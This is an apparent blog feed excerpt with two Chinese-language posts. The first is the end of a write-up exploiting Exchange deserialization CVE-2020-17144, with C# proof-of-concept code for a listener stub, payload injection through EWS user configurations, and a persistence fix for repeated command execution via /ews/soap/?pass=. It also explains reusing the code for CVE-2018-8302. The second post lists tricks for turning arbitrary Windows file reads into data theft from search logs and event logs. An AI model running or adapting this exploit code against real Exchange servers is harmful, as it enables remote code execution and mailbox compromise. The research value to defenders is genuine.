&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stm.Write(data,&amp;nbsp;0,&amp;nbsp;data.Length);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.StatusCode&amp;nbsp;=&amp;nbsp;404;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finally
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(stm!=null)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stm.Close();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.StatusCode&amp;nbsp;=&amp;nbsp;404;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.OutputStream.Close();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
}
catch{}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;由于会多次触发反序列化行为，为了防止阻塞以及跑出异常，需要开启新线程进行监听，完整代码大致如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;namespace&amp;nbsp;Zcg.Exploit.Remote
{
&amp;nbsp;&amp;nbsp;public&amp;nbsp;class&amp;nbsp;SimpleExecutionRemoteStub
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public&amp;nbsp;SimpleExecutionRemoteStub()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;new&amp;nbsp;Thread(Listen).Start();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;Listen()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;....
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编译，使用新用户执行后访问/ews/soap/?pass=whoami，不出意外将得到whoami的输出结果：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/12/202012101607544747187605.jpg&quot; title=&quot;4.jpg&quot; alt=&quot;4.jpg&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;至此利用圆满达成？并不，这里还有一个严重的问题需要解决：无法多次利用。例如，使用曾经进行过漏洞利用的用户继续测试，将不会成功；同时虽然序列化数据本身是持久化的，但重启之后依然无法生效。这两个情况将导致漏洞只能使用一次，在实战中是不可接受的。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;解决此问题需要重新审视触发点ElcEventBasedAssistant，代码中可发现名为IsEventInteresting的方法，根据名称很容易推测是一个判断是否需要触发事件的开关。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;此方法内调用了NeedToAutoTag方法验证是否需要自动标签功能，其代码如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;private&amp;nbsp;bool&amp;nbsp;NeedToAutoTag(MapiEvent&amp;nbsp;mapiEvent,&amp;nbsp;UserRetentionPolicyCache&amp;nbsp;userRetentionPolicyCache)
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;((mapiEvent.get_EventMask()&amp;nbsp;&amp;amp;&amp;nbsp;2)&amp;nbsp;!=&amp;nbsp;0&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;userRetentionPolicyCache&amp;nbsp;!=&amp;nbsp;null&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;userRetentionPolicyCache.AutoTagCache&amp;nbsp;!=&amp;nbsp;null&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;userRetentionPolicyCache.AutoTagCache.UserSetting&amp;nbsp;!=&amp;nbsp;null&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;userRetentionPolicyCache.AutoTagCache.UserSetting.AutoTagEnabled)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Tracer.TraceDebug&amp;lt;object,&amp;nbsp;MapiEvent&amp;gt;((long)GetHashCode(),&amp;nbsp;&amp;quot;{0}:&amp;nbsp;this&amp;nbsp;event&amp;nbsp;is&amp;nbsp;interesting&amp;nbsp;because&amp;nbsp;it&amp;nbsp;is&amp;nbsp;new&amp;nbsp;mail&amp;nbsp;and&amp;nbsp;auto&amp;nbsp;tagging&amp;nbsp;is&amp;nbsp;enabled:&amp;nbsp;{1}&amp;quot;,&amp;nbsp;TraceContext.Get(),&amp;nbsp;mapiEvent);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;可以看到，新用户默认会进行一次模型加载处理，这是最初可以成功利用的原因，而后续利用因为AutoTagEnabled默认为false导致失败。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;AutoTagEnabled是Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.AutoTagUserSetting的成员，很明显是一个简单模型类。简单搜索AutoTagEnabled即可发现此类由Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadUserSettings读取名为MRM.AutoTag.Setting的配置，尝试从字典中获取名为AutoTagEnabled的布尔值，并为AutoTagUserSetting::AutoTagEnabled赋值。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以只要略加修改poc，加入对MRM.AutoTag.Setting的修改即可：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;byte[]&amp;nbsp;data&amp;nbsp;=&amp;nbsp;GeneratePayload(File.ReadAllBytes(&amp;quot;e.dll&amp;quot;));
UserConfiguration&amp;nbsp;u&amp;nbsp;=&amp;nbsp;null;
Folder&amp;nbsp;folder&amp;nbsp;=&amp;nbsp;Folder.Bind(service,&amp;nbsp;WellKnownFolderName.Inbox);
try
{
&amp;nbsp;&amp;nbsp;u=UserConfiguration.Bind(service,&amp;quot;MRM.AutoTag.Model&amp;quot;,folder.Id,UserConfigurationProperties.BinaryData);
&amp;nbsp;&amp;nbsp;u.Delete();
}catch{}
try
{
&amp;nbsp;u=UserConfiguration.Bind(service,&amp;quot;MRM.AutoTag.Setting&amp;quot;,folder.Id,UserConfigurationProperties.Dictionary);
&amp;nbsp;u.Delete();
}catch{}
u&amp;nbsp;=&amp;nbsp;new&amp;nbsp;UserConfiguration(service);
u.BinaryData&amp;nbsp;=&amp;nbsp;data;
u.Save(&amp;quot;MRM.AutoTag.Model&amp;quot;,&amp;nbsp;folder.Id);

try
{&amp;nbsp;
&amp;nbsp;&amp;nbsp;u&amp;nbsp;=&amp;nbsp;new&amp;nbsp;UserConfiguration(service);
&amp;nbsp;&amp;nbsp;u.Dictionary[&amp;quot;AutoTagEnabled&amp;quot;]&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;u.Dictionary[&amp;quot;NumberOfPredictedEmail&amp;quot;]&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;u.Dictionary[&amp;quot;NumberOfCorrectedEmail&amp;quot;]&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;u.Dictionary[&amp;quot;NumberOfRetaggedEmail&amp;quot;]&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;u.Save(&amp;quot;MRM.AutoTag.Setting&amp;quot;,&amp;nbsp;folder.Id);
}catch{}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;注意由于此配置默认可能存在，所以需要删除或覆盖。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编译执行后重启，直接访问/ews/soap/?pass=whoami依然可以执行命令，至此漏洞利用完美达成。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后两个补充：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;1、很多情况下Exchange外部存在代理且仅允许https访问，此时端口复用也应该修改为https协议。&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;2、EWS支持NTLM协议认证，采用Relay或是Hash登录均可作为明文密码的替代品，是某些情况下可选的攻击方案。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x05 拓展：CVE-2018-8302&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;同样是[Microsoft.Exchange.InfoWorker.Common]类库，在Microsoft.Exchange.InfoWorker.Common.TopN.TopNConfiguration::ReadWordFrequencyMap方法中可以看到对TopNWords.Data的反序列化，但添加了检查类型检查来确保安全性。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;internal&amp;nbsp;bool&amp;nbsp;ReadWordFrequencyMap()
{
&amp;nbsp;&amp;nbsp;using&amp;nbsp;(UserConfiguration&amp;nbsp;userConfiguration&amp;nbsp;=&amp;nbsp;OpenMessage(createIfMissingOrCorrupt:&amp;nbsp;true))
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(userConfiguration&amp;nbsp;!=&amp;nbsp;null)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;using&amp;nbsp;(Stream&amp;nbsp;stream&amp;nbsp;=&amp;nbsp;userConfiguration.GetStream())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exception&amp;nbsp;ex&amp;nbsp;=&amp;nbsp;null;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Type[]&amp;nbsp;allowList&amp;nbsp;=&amp;nbsp;new&amp;nbsp;Type[1]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(KeyValuePair&amp;lt;string,&amp;nbsp;int&amp;gt;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wordFrequency&amp;nbsp;=&amp;nbsp;(KeyValuePair&amp;lt;string,&amp;nbsp;int&amp;gt;[])SafeSerialization.SafeBinaryFormatterDeserializeWithAllowList(stream,&amp;nbsp;allowList);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;....
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;....
&amp;nbsp;&amp;nbsp;}
}
private&amp;nbsp;UserConfiguration&amp;nbsp;OpenMessage(bool&amp;nbsp;createIfMissingOrCorrupt)
{
&amp;nbsp;&amp;nbsp;UserConfiguration&amp;nbsp;userConfiguration&amp;nbsp;=&amp;nbsp;null;
&amp;nbsp;&amp;nbsp;StoreId&amp;nbsp;defaultFolderId&amp;nbsp;=&amp;nbsp;mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);
&amp;nbsp;&amp;nbsp;Exception&amp;nbsp;ex&amp;nbsp;=&amp;nbsp;null;
&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;userConfiguration&amp;nbsp;=&amp;nbsp;mailboxSession.UserConfigurationManager.GetFolderConfiguration(&amp;quot;TopNWords.Data&amp;quot;,&amp;nbsp;UserConfigurationTypes.Stream&amp;nbsp;|&amp;nbsp;UserConfigurationTypes.Dictionary,&amp;nbsp;defaultFolderId);
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;....
&amp;nbsp;&amp;nbsp;return&amp;nbsp;userConfiguration;
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;除了白名单列表外的代码如出一辙，是的没错，这就是CVE-2018-8302的漏洞位置。将MRM.AutoTag.Model替换为TopNWords.Data，即可作为exp直接利用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当然，现在来看这一点只存在研究意义，漏洞的影响范围已经基本被CVE-2020-0688和CVE-2020-17144完全覆盖。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x06 总结&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我个人不喜欢论文性质的总结&lt;span style=&quot;text-decoration: line-through;&quot;&gt;（实质上是非常厌恶）&lt;/span&gt;，浪费时间且起不到实质效果。总结的本质应当升华文章主题并提出更高层次或更加深入的思想，而不是由打工人回退至论文狗。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;&lt;/span&gt;无论何种语言，二进制反序列化均属于老旧技术。BinaryFormatter在微软的开发规范中已经被标为弃用，Exchange从去年的某个补丁开始（大概是2016CU13）已经为所有的反序列化添加了包装和默认黑白名单，对漏洞进行了基本的防御。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;但无论如何，三次在大多数人认知中不属于Exchange的反序列化漏洞应当引起警示。至少在漏洞挖掘中，采用更高一层次的目光着眼于整个系统的体系架构并寻找漏洞，之后结合系统本身与部署环境等多个特性发掘更有利实战的隐蔽利用方式是非常有效的。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而在防御角度看，单纯的序列化/反序列化行为应当仅仅限制在传输基本数据的组合而非包含逻辑的数据，实际上任何使用类似行为的位置都应考虑微软的解决方案，即：任意需求序列化数据的调用方应明确需要何种数据模型，并提供至序列化过程；序列化过程应根据调用方显式提供的模型决定行为，而非数据本身对模型的自描述。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后顺便一说，Exchange邮箱实现和架构都是可以借鉴的，有相当一部分大型邮件系统使用类似的方式存放大量可能的动态数据。类似的动态行为（尤其是底层大量依赖DI、代码生成、缓存反射等实现的基础设施）实际上很难由自动化工具进行挖掘或测试，漏洞挖掘到了最后一定需要转换为开发和架构的思想，才能百战不殆。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;Github:&amp;nbsp; &lt;a href=&quot;http://github/zcgonvh/CVE-2020-17144&quot; target=&quot;_self&quot; textvalue=&quot;http://github/zcgonvh/CVE-2020-17144&quot;&gt;http://github/zcgonvh/CVE-2020-17144&lt;/a&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;附件：没有，去github下载吧，都0202年了还有人找不到注释密码我也很无奈啊……&lt;br/&gt;&lt;/p&gt;</description><pubDate>Thu, 10 Dec 2020 04:01:51 +0800</pubDate></item><item><title>Windows任意文件下载的三个Tips</title><link>http://www.zcgonvh.com/post/tips_of_arbitrary_file_read_on_windows.html</link><description>&lt;p style=&quot;text-indent: 2em; text-align: left;&quot;&gt;在群里面看到大家提出的两个思路，简单进行了一下测试，并附加一个新思路。&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;由于需要读取一些系统服务使用的文件或用户文件，一般来说需要SYSTEM或administrators权限。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x01 WSearch服务&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;@Lz1y提出的思路，简单看了一下SearchIndexer的文件句柄，WSearch服务会将数据存放在%ProgramData%\Microsoft\Search\Data\Applications\Windows\Windows.edb中：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595520627744518.png&quot; style=&quot;&quot; title=&quot;1.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;文件拓展名为edb，显然和ntds.dit相同，使用了EsentDB作为存储引擎。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;所以只要下载回来还原即可&lt;/span&gt; 那是不可能的，注意ShareFlag一栏，SearchIndexer选择以独占方式打开数据库，其他进程无法进行读取。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;那么关注一下其他目录或文件，%ProgramData%\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex目录下存在一些Crwl与gthr文件，文件名类似SystemIndex.[数字序号].gthr。其中gthr文件中存在大量路径信息：&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595520629491600.png&quot; style=&quot;&quot; title=&quot;2.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如图，刚刚打开服务后，微信访问的图片、聊天数据库即被记录，甚至还有一个我的Sid。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;另外一个文件里面有一些我的ie访问历史：&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595520628492867.png&quot; style=&quot;&quot; title=&quot;3.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;虚拟机中则记录了复制到桌面的mimikatz：&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595520629275374.png&quot; style=&quot;&quot; title=&quot;4.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如果安装了Outlook，甚至会有邮箱、附件名称、联系人等信息。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;(这里没有图，请自行检查)&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;之后再注意和windows.edb同目录的文件，其中.jtx是可以被打开的。查询&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-files&quot; target=&quot;_self&quot;&gt;msdn&lt;/a&gt;可知，此文件为数据库的事务日志，文件名格式为edb[从00000-fffff的五位十六进制数].jtx。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;研究过SqlServer的都应当知道，事务日志里面会保存未同步或未写入的数据，只要对文件内容进行分析即可。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;实际上我们完全不需要去研究文件结构，windows下绝大部分情况下都以UTF16-LE编码进行保存，所以直接使用strings工具进行提取：&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595520629579011.png&quot; style=&quot;&quot; title=&quot;5.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如果是一个常用机器，或者安装了outlook等，那么会有更多惊喜。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这种方式获取到的数据可能极为敏感，也可能完全没有，效果取决于人品，而且需要进行文件名爆破。不过好在根据自己几个环境的统计，数据量很可观，而且需要爆破的序号并不大。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x02 EventLog服务&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;@某个名字中有emoji的老哥（抱歉打不出来）提出的思路，之前做测试时候一致认为是独占式，今天仔细一看发现被打脸：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595520630231946.png&quot; style=&quot;&quot; title=&quot;6.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;日志文件存放于%systemroot%\System32\winevt\Logs，且允许共享读取。 &lt;span style=&quot;text-decoration: line-through;&quot;&gt;真想打当时的我一顿&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;由于ETW文件名固定，我们直接根据已知列表进行下载即可：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;Application.evtx
ConnectionInfo.evtx
Error.evtx
HardwareEvents.evtx
Internet&amp;nbsp;Explorer.evtx
Key&amp;nbsp;Management&amp;nbsp;Service.evtx
Media&amp;nbsp;Center.evtx
Microsoft-Windows-API-Tracing%4Operational.evtx
Microsoft-Windows-AppID%4Operational.evtx
Microsoft-Windows-Application&amp;nbsp;Server-Applications%4Admin.evtx
Microsoft-Windows-Application&amp;nbsp;Server-Applications%4Operational.evtx
Microsoft-Windows-Application-Experience%4Problem-Steps-Recorder.evtx
Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx
Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx
Microsoft-Windows-Application-Experience%4Program-Inventory.evtx
Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx
Microsoft-Windows-AppLocker%4EXE&amp;nbsp;and&amp;nbsp;DLL.evtx
Microsoft-Windows-AppLocker%4MSI&amp;nbsp;and&amp;nbsp;Script.evtx
Microsoft-Windows-Audio%4CaptureMonitor.evtx
Microsoft-Windows-Audio%4Operational.evtx
Microsoft-Windows-Authentication&amp;nbsp;User&amp;nbsp;Interface%4Operational.evtx
Microsoft-Windows-Backup.evtx
Microsoft-Windows-BitLocker-DrivePreparationTool%4Admin.evtx
Microsoft-Windows-BitLocker-DrivePreparationTool%4Operational.evtx
Microsoft-Windows-Bits-Client%4Operational.evtx
Microsoft-Windows-Bluetooth-MTPEnum%4Operational.evtx
Microsoft-Windows-BranchCache%4Operational.evtx
Microsoft-Windows-BranchCacheSMB%4Operational.evtx
Microsoft-Windows-CAPI2%4Operational.evtx
Microsoft-Windows-CodeIntegrity%4Operational.evtx
Microsoft-Windows-Compat-Appraiser%4Operational.evtx
Microsoft-Windows-CorruptedFileRecovery-Client%4Operational.evtx
Microsoft-Windows-CorruptedFileRecovery-Server%4Operational.evtx
Microsoft-Windows-DateTimeControlPanel%4Operational.evtx
Microsoft-Windows-DeviceSync%4Operational.evtx
Microsoft-Windows-Dhcp-Client%4Admin.evtx
Microsoft-Windows-DhcpNap%4Admin.evtx
Microsoft-Windows-Dhcpv6-Client%4Admin.evtx
Microsoft-Windows-Diagnosis-DPS%4Operational.evtx
Microsoft-Windows-Diagnosis-PCW%4Operational.evtx
Microsoft-Windows-Diagnosis-PLA%4Operational.evtx
Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx
Microsoft-Windows-Diagnosis-Scripted%4Admin.evtx
Microsoft-Windows-Diagnosis-Scripted%4Operational.evtx
Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider%4Operational.evtx
Microsoft-Windows-Diagnostics-Networking%4Operational.evtx
Microsoft-Windows-Diagnostics-Performance%4Operational.evtx
Microsoft-Windows-DiskDiagnostic%4Operational.evtx
Microsoft-Windows-DiskDiagnosticDataCollector%4Operational.evtx
Microsoft-Windows-DiskDiagnosticResolver%4Operational.evtx
Microsoft-Windows-DriverFrameworks-UserMode%4Operational.evtx
Microsoft-Windows-EapHost%4Operational.evtx
Microsoft-Windows-EventCollector%4Operational.evtx
Microsoft-Windows-Fault-Tolerant-Heap%4Operational.evtx
Microsoft-Windows-FMS%4Operational.evtx
Microsoft-Windows-Folder&amp;nbsp;Redirection%4Operational.evtx
Microsoft-Windows-Forwarding%4Operational.evtx
Microsoft-Windows-GroupPolicy%4Operational.evtx
Microsoft-Windows-Help%4Operational.evtx
Microsoft-Windows-HomeGroup&amp;nbsp;Control&amp;nbsp;Panel%4Operational.evtx
Microsoft-Windows-HomeGroup&amp;nbsp;Listener&amp;nbsp;Service%4Operational.evtx
Microsoft-Windows-HomeGroup&amp;nbsp;Provider&amp;nbsp;Service%4Operational.evtx
Microsoft-Windows-IKE%4Operational.evtx
Microsoft-Windows-International%4Operational.evtx
Microsoft-Windows-International-RegionalOptionsControlPanel%4Operational.evtx
Microsoft-Windows-Iphlpsvc%4Operational.evtx
Microsoft-Windows-Kernel-EventTracing%4Admin.evtx
Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx
Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx
Microsoft-Windows-Kernel-WDI%4Operational.evtx
Microsoft-Windows-Kernel-WHEA%4Errors.evtx
Microsoft-Windows-Kernel-WHEA%4Operational.evtx
Microsoft-Windows-Known&amp;nbsp;Folders&amp;nbsp;API&amp;nbsp;Service.evtx
